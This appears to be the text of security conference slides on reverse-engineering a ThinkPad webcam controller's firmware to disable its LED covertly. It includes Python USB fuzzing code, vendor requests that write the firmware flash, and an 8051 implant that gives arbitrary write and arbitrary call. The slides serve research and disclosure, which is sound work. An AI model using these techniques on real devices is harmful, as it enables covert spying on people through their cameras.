Lights Out:�Covertly turning off�the ThinkPad�webcam LED indicator
Andrey Konovalov, xairy.io
PHDays Fest, Moscow�May 24th, 2025
Agenda
2
xairy.io
Introduction
3
xairy.io
How it started
4
xairy.io
USB is host-driven — Enumeration [simplified]
5
Host
Device
Device plugged into Host
— What are you?
— I'm a webcam
— What kind of settings do you have?
— These are my settings
(Sends USB descriptors)
(Sends GET_INFO responses)
— Alright! You're now connected
(Sends requests)
(Responds to requests)
(Sends GET_INFO requests)
(Sends GET_DESCRIPTOR requests)
(Sends SET_CONFIGURATION request)
xairy.io
USB is host-driven — Subsequent communication
6
Host
Device
— What do you see?
— Here's the current frame
— What do you see?
— Here's the current frame
— What do you see?
(Sends requests)
(Responds to requests)
— Here's the current frame
xairy.io
USB control requests
7
xairy.io
USB request direction and control request categories
8
xairy.io
Checking list of USB devices on X230
$ lsusb
Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 003: ID 5986:02d2 Acer, Inc Integrated Camera
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
...
9
xairy.io
Fuzzing vendor requests
10
xairy.io
Fuzzing USB vendor IN (read) requests
dev = usb.core.find(idVendor=0x5986, idProduct=0x02d2)
def request_read(bRequest, wValue, wIndex, wLength):
bmRequestType = usb.util.CTRL_TYPE_VENDOR | usb.util.CTRL_RECIPIENT_DEVICE | usb.util.CTRL_IN
try:
msg = dev.ctrl_transfer(bmRequestType=bmRequestType, bRequest=bRequest,� wValue=wValue, wIndex=wIndex, data_or_wLength=wLength)
log(False, bRequest, wValue, wIndex, msg, None)
return msg
except usb.core.USBError as e:
log(False, bRequest, wValue, wIndex, None, e)
for x in range(0, 256):
request_read(x, 0, 0, 32)
11
Request parameters
Vendor + IN
Iterate over bRequest (fix wValue and wIndex as 0 for start)
Device IDs
xairy.io
Results of fuzzing USB vendor IN requests
$ ./fuzz.py
read, request = 0x00, value = 0x00, index = 0x00
=> success: 1
b'01'
read, request = 0x01, value = 0x00, index = 0x00
=> [Errno 32] Pipe error
...
read, request = 0x06, value = 0x00, index = 0x00
=> [Errno 32] Pipe error
read, request = 0x07, value = 0x00, index = 0x00
=> success: 32
b'83010402c3f3c37d808004150071423e2e6a000006023c3c00000000000000fe'
read, request = 0x08, value = 0x00, index = 0x00
=> [Errno 32] Pipe error
12
Request 0x00 returned 1 byte with value 0x01�Maybe some configuration setting...
Request 0x07 returned many bytes
Hm...
xairy.io
Exploring USB vendor IN request 0x07
$ ./fuzz_0x07.py
read, request = 0x07, value = 0x00, index = 0x00
=> success: 32
b'83010402c3f3c37d808004150071423e2e6a000006023c3c00000000000000fe'
read, request = 0x07, value = 0x00, index = 0x20
=> success: 32
b'00810083008000fd000003e80003030b0000000000000300030000000b000303'
read, request = 0x07, value = 0x00, index = 0x40
=> success: 32
b'030003030303030b03000000000000005269636f6820436f6d70616e79204c74'
read, request = 0x07, value = 0x00, index = 0x60
=> success: 32
b'642e0000000000000000000000000000496e74656772617465642043616d6572'
...
13
xairy.io
Fuzzing USB vendor OUT (write) requests
dev = usb.core.find(idVendor=0x5986, idProduct=0x02d2)
def request_write(bRequest, wValue, wIndex, data):
bmRequestType = usb.util.CTRL_TYPE_VENDOR | usb.util.CTRL_RECIPIENT_DEVICE | usb.util.CTRL_OUT
try:
msg = dev.ctrl_transfer(bmRequestType=bmRequestType, bRequest=bRequest,
wValue=wValue, wIndex=wIndex, data_or_wLength=data)
log(True, bRequest, wValue, wIndex, msg, None)
except usb.core.USBError as e:
log(True, bRequest, wValue, wIndex, None, e)
for x in range(0, 256):
request_write(x, 0, 0, 'a' * 32)
14
Iterate over bRequest, write 'aaaa...'
xairy.io
Oops
15
xairy.io
What's next? [1/2]
16
xairy.io
What's next? [2/2]
17
xairy.io
Looking at webcam module
18
xairy.io
Getting webcam module out
19
Plugged in over USB;
connector of unusual form
xairy.io
Original webcam module, outer side
20
Camera sensor, model unknown
USB connector
LED
xairy.io
Original webcam module, inner side
21
Ricoh R5U8710 USB camera controller
Pm25LD512 SPI flash chip
xairy.io
Internals of Ricoh R5U8710 from vendor website
22
https://www.nisshinbo-microdevices.co.jp/ja/applications/industrial/block/usb-camera-controller.html
SPI chip on webcam module
Code gets uploaded to program RAM 😄
8051 CPU�inside
But there is�internal
(Boot) ROM�as well
GPIO
xairy.io
Building bricking-resistant setup
23
xairy.io
Ordering more webcam modules
24
xairy.io
FRU 63Y0248: compatible module (has Ricoh R5U8710)
25
R5U8710
SPI
xairy.io
Bricking-resistant setup
26
USB micro breakout adapter�with voltage regulator�(webcam module used� 3.3 V for VBUS)
SPI chip moved to detachable TSSOP8 socket
(can now flash firmware� via external programmer)
xairy.io
FT2232H Mini Module for restoring SROM contents
27
FT2232H Mini Module
Socket with SPI chip
xairy.io
Can now freely continue fuzzing 😄
28
xairy.io
Discovered USB vendor requests
29
bRequest | Direction | wValue | wIndex | Request data | Deduced purpose |
0x00 | IN | — | Varies | — | Getting various settings? |
0x01 | OUT | — | — | — | Unlock SROM writing |
0x02 | OUT | — | Offset | Data to write | Write SROM at offset |
0x03 | OUT | — | — | — | Lock SROM writing |
0x07 | IN | — | Offset | Read data | Read SROM at offset |
0xcd | OUT | ? | ? | ? | Unknown |
IN — Device to Host, OUT — Host to Device
xairy.io
How fuzzer bricked webcam
30
bRequest | Direction | wValue | wIndex | Request data | Deduced purpose |
0x00 | IN | — | Varies | — | Getting various settings |
0x01 | OUT | — | — | — | Unlock SROM writing |
0x02 | OUT | — | Offset | Data to write | Write SROM at offset |
0x03 | OUT | — | — | — | Lock SROM writing |
xairy.io
Discovered settings for bRequest == 0x00
31
bRequest | Direction | wIndex | Read value | Extra information |
0x00 | IN | 0x00 | 01 | |
0x00 | IN | 0x01 | 00 | |
0x00 | IN | 0x02 | 8080 | Matches bytes 7–9 of SROM |
0x00 | IN | 0x03 | c3f3c37d | Matches bytes 4–7 of SROM |
0x00 | IN | 0x04 | 00000000 | |
0x00 | IN | 0x05 | 107a | |
xairy.io
Current status
32
xairy.io
Tracing board
33
xairy.io
Reminder: LED on original webcam module
34
LED
xairy.io
Results of tracing LED
35
Connected to�pin of R5U8710
(through resistor)
Connected to VBUS
(USB power)
xairy.io
Need datasheet for R5U8710
36
xairy.io
Getting datasheet
37
xairy.io
Advanced datasheet attack on vendor
38
— Hi! I'm looking for the datasheet for� "USB 2.0 Camera Controller R5U8710".� Could you send it to me? Thanks!
— Dear Andrey, please find the� datasheet attached. Best Regards!
(R5U8710E1.00_DS_ns.pdf attached)
— 🤨🥳
Ricoh
(has datasheet)
Andrey
(wants datasheet)
xairy.io
Inside of datasheet
39
😅
xairy.io
Information from datasheet
40
xairy.io
Let's ask vendor for firmware documentation
41
Andrey
Ricoh
— Could you also send me the firmware� documentation or an SDK for this chip?
— Unfortunately, no.� Thank you for your understanding.
(wants documentation)
(has documentation)
— 😢
"You don't run the same gag twice. You do the next gag."
xairy.io
Analyzing and overwriting SROM
42
xairy.io
SROM hexdump [1/3]
$ xxd dump.bin
00000000: 8301 0402 c3f3 c37d 8080 0415 0071 423e .......}.....qB>
00000010: 2e6a 0000 0602 3c3c 0000 0000 0000 00fe .j....<<........
00000020: 0081 0083 0080 00fd 0000 03e8 0003 030b ................
00000030: 0000 0000 0000 0300 0300 0000 0b00 0303 ................
00000040: 0300 0303 0303 030b 0300 0000 0000 0000 ................
00000050: 5269 636f 6820 436f 6d70 616e 7920 4c74 Ricoh Company Lt
00000060: 642e 0000 0000 0000 0000 0000 0000 0000 d...............
00000070: 496e 7465 6772 6174 6564 2043 616d 6572 Integrated Camer
00000080: 6100 0000 0000 0000 0000 0000 0000 0000 a...............
...
43
xairy.io
SROM hexdump [2/3]
...
00000720: d400 00f1 9d00 00b0 17ff ffff 90a5 e9e0 ................
00000730: 04f0 9000 15e0 30e1 5790 011a e0ff 9001 ......0.W.......
00000740: 22e0 5f90 a5ea f0e0 fd30 e22c 90a5 e8e0 "._......0.,....
00000750: b402 25e4 9000 21f0 9000 23e0 4420 f090 ..%...!...#.D ..
00000760: 0020 e044 01f0 9001 1ae0 54fb f090 0122 . .D......T...."
00000770: 7404 f090 a5e8 14f0 ed30 e414 90a5 e8e0 t........0......
00000780: 6404 600c e060 0912 b5dc 9001 2274 10f0 d.`..`......"t..
00000790: 9000 15e0 30e2 1790 002f e0c3 1320 e004 ....0..../... ..
000007a0: 7f00 8002 7f01 90a5 d2ef f012 f1d4 9000 ................
...
44
xairy.io
SROM hexdump [3/3]
...
00007fc0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00007fd0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00007fe0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00007ff0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00008000: 0108 0100 0001 4d00 0005 0001 0005 0000 ......M.........
00008010: 0000 0001 0000 0000 0000 0000 0001 0001 ................
00008020: 0000 0001 0000 01ff f000 1c00 0000 2800 ..............(.
00008030: 0100 6411 f800 7f00 7f00 0000 3f02 0001 ..d.........?...
00008040: 0000 7f00 ff01 3801 0001 8a00 0001 4d00 ......8.......M.
...
45
xairy.io
Disassembling code as 8051 in Ghidra
46
xairy.io
Issues with disassembly
47
xairy.io
Experiment #1: Changing USB strings
48
xairy.io
Experiment #2: Injecting infinite loops
49
Instruction patched
with SJMP to itself
xairy.io
Result of injecting infinite loops
50
xairy.io
Experiment #3: Switching GPIOs and sleeping
51
xairy.io
Result of switching GPIOs
52
Example patch that sets all bits�in all 4 8051 GPIO ports
xairy.io
Current status
53
xairy.io
Further goal and next step
54
xairy.io
Carefully hooking code
55
xairy.io
Carefully hooking code
56
xairy.io
Problems with jumping to "free" location
57
xairy.io
8051 memory spaces
58
CODE
XDATA
RAM
IRAM
0x0000
0xffff
...
0xff
External RAM�(used for variables)
Internal RAM (variables +�Special Function Registers)
Indirectly-accessible�internal RAM (variables)
xairy.io
Code loading during boot
59
CODE
0x0000
0xffff
Boot ROM
SROM
0x????
0x0000
0x0715 (suspected)
0xffff
Loaded during boot
xairy.io
Figuring out code loading address via at51
$ ./at51 base dump.bin
Index by likeliness:
1: 0xa8eb with 563
2: 0xa4fb with 211
3: 0xa8df with 191
60
xairy.io
Hooking-based implant: before implanting
61
Executed
during enumeration
Not executed�during enumeration,
can be overwritten
for implant
xairy.io
Hooking-based implant: after implanting
62
Jump to implant
Jump back
Instruction that
used to be at 0xb017
Implant code
goes here
xairy.io
Current status
63
xairy.io
Leaking Boot ROM
64
xairy.io
Typical approaches to leaking Boot ROM
65
xairy.io
I can leak 1 bit of information! 💡
66
xairy.io
Worked! But slow
67
xairy.io
Reminder: Discovered settings for bRequest == 0x00
68
bRequest | Direction | wIndex | Read value | Extra information |
0x00 | IN | 0x00 | 01 | |
0x00 | IN | 0x01 | 00 | |
0x00 | IN | 0x02 | 8080 | Matches bytes 7–9 of SROM |
0x00 | IN | 0x03 | c3f3c37d | Matches bytes 4–7 of SROM |
0x00 | IN | 0x04 | 00000000 | |
0x00 | IN | 0x05 | 107a | |
xairy.io
Fetching CODE via known USB request 💡
69
bRequest | Direction | wIndex | Read value | Extra information |
0x00 | IN | 0x00 | 01 | |
0x00 | IN | 0x01 | 00 | |
0x00 | IN | 0x02 | 8080 | Matches bytes 7–9 of SROM |
0x00 | IN | 0x03 | c3f3c37d | Matches bytes 4–7 of SROM |
xairy.io
Where is marker stored?
70
xairy.io
Bisecting memory space to find marker 💡
// Pseudo-code, actual code in 8051 assembly
for offset in range(0, 0x10000/2): // Lower half of XDATA
if XDATA[offset : offset+4] == 0xc3f3c37d:
loop_forever()
71
xairy.io
marker found!
72
xairy.io
Dynamically providing offset via UVC settings 💡
73
xairy.io
Using Contrast and Saturation for offset
74
xairy.io
Relying on UVC settings for leaking Boot ROM
75
xairy.io
CODE and XDATA partially aliased
76
CODE
0x0000
0xffff
Boot ROM
SROM
0xb000
0x0000
0x0715
0xffff
XDATA
Aliased
xairy.io
Reverse engineering Boot ROM
77
xairy.io
Found handlers for USB vendor requests [1/2]
78
In Boot ROM
xairy.io
Found handlers for USB vendor requests [2/2]
79
...
...
...
...
xairy.io
XDATA addresses for USB request parameters
80
Address in XDATA | Used for |
0xa226 | bmRequestType |
0xa227 | bRequest |
0xa228 | wValue_high |
0xa229 | wValue_low |
0xa22a | wIndex_high |
0xa22b | wIndex_low |
0xa22c | wLength_high |
0xa22d | wLength_low |
xairy.io
Problem and next step
81
xairy.io
Building universal implant
82
xairy.io
USB-based implant for debugging 💡
83
xairy.io
Function at 0xb4d3 called for every vendor (?) request
84
// 0x40 == Vendor + OUT
xairy.io
Implanted handler for arbitrary write and arbitrary call
0000: MOV DPTR, bmRequestType | 0x90, 0xa2, 0x26
0003: MOVX A, @DPTR | 0xe0
0004: CJNE A, #0x40, 0x21 | 0xb4, 0x40, 0x21
0007: INC DPTR | 0xa3
0008: MOVX A, @DPTR | 0xe0
0009: ADD A, #0xbe | 0x24, 0xbe
000b: JZ 0x8 | 0x60, 0x08
000d: INC A | 0x04
000e: JNZ 0x18 | 0x70, 0x18
0010: LCALL, 0xffff | 0x12, 0xff, 0xff
0013: SJMP 0x10 | 0x80, 0x10
0015: INC DPTR | 0xa3
0016: INC DPTR | 0xa3
0017: MOVX A, @DPTR | 0xe0
0018: MOV R7, A | 0xff
0019: INC DPTR | 0xa3
001a: MOVX A, @DPTR | 0xe0
001b: MOV R6, A | 0xfe
001c: INC DPTR | 0xa3
001d: MOVX A, @DPTR | 0xe0
001e: MOV DPL, A | 0xf5, 0x82
0020: MOV A, R6 | 0xee
0021: MOV DPH, A | 0xf5, 0x83
0023: MOV A, R7 | 0xef
0024: MOVX @DPTR, A | 0xf0
0025: MOV R7, #0x2 | 0x7f, 0x00
0027: RET | 0x22
0028: MOV R7, #0x0 | 0x7f, 0x02
002a: RET | 0x22
85
Arbitrary call, address can be patched in via arbitrary write� (CODE and XDATA aliased for 0xb000+)
Arbitrary write in XDATA
xairy.io
Pseudo-code for implanted handler
void implanted_handler() { // Placed at 0xb4d3 by patching SROM.
if (bmRequestType != 0x40) // Vendor OUT request.
return;
if (bRequest == 0x41) // 0x41 chosen arbitrarily.
call(0xffff); // Called address can be patched in via AAW.
else if (bRequest == 0x42)
*(uint16_t *)wIndex = wValue_low; // 1-byte AAW.
// Also provide proper value in R7 for compatibility with caller.
} // Fits exactly into 0x2a bytes in 8051 assembly.
86
xairy.io
Universal implant functionality
87
xairy.io
Figuring out LED control
88
xairy.io
Dynamic approach to figuring out LED control
89
xairy.io
Comparing XDATA dumps
90
But this one did
xairy.io
And...
91
xairy.io
Demo
92
xairy.io
What about other laptops?
93
xairy.io
Requirement for attack: LED not tied to power on sensor
94
xairy.io
Cases for getting software control of LED [1/3]
95
xairy.io
Suspected example: ThinkPad X13
96
xairy.io
Cases for getting software control of LED [2/3]
97
xairy.io
Cases for getting software control of LED [3/3]
98
xairy.io
Outro
99
xairy.io
Offer to action
100
xairy.io
Takeaways
101
xairy.io
💜 Thank you!
102
Differences between iSeeYou and Lights Out
103
| MacBook 2008 (Cypress EZ-USB) | ThinkPad X230 (Ricoh R5U8710) |
| | |
Firmware | Uploaded during boot over USB, provided by OS | Stored on SPI flash SROM, can be flashed over USB (needs power cycle to apply) |
LED | Connected to sensor's STANDBY | Connected to GPIO pin |
Disabling LED | Provide firmware that configures�sensor to ignore STANDBY | Flash firmware that allows�disabling GPIO pin |
In both cases, webcam is connected over USB
xairy.io
Commending Lenovo PSIRT team
104
xairy.io
Other acknowledgements
105
xairy.io